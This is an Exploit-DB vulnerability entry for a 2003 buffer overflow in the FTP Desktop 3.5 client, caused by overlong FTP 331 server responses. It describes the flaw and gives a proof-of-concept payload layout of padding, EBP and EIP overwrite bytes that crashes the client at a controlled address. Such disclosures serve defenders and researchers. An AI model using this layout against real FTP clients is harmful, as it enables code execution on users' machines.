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FTP Desktop 3.5 - FTP 331 Server Response Buffer Overflow

🗓️ 08 Sep 2003 00:00:00Reported by Bahaa NaamnehType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 17 Views

Buffer overflow in FTP Desktop 3.5 enables execution of malicious code via 331 server response.

Code
source: https://www.securityfocus.com/bid/8560/info

A buffer overflow vulnerability has been reported in FTP Desktop. The vulnerability occurs when FTP Desktop is parsing 331 server responses from remote FTP servers. When FTP Desktop receives an FTP 331 response exceeding a certain length, it will trigger the overflow condition. This could allow for execution of malicious code in the context of the affected FTP client.

Username:
---------
(FTP Desktop Sends 'USER username')
PADDING EBP EIP
331 [229xA][4xB][4xX]
(Access violation when executing 0x58585858) // 4xX

Password:
---------
(FTP Desktop Sends 'PASS password')
PADDING EBP EIP
331 [229xA][4xB][4xX]
(Access violation when executing 0x58585858) // 4xX 

Data

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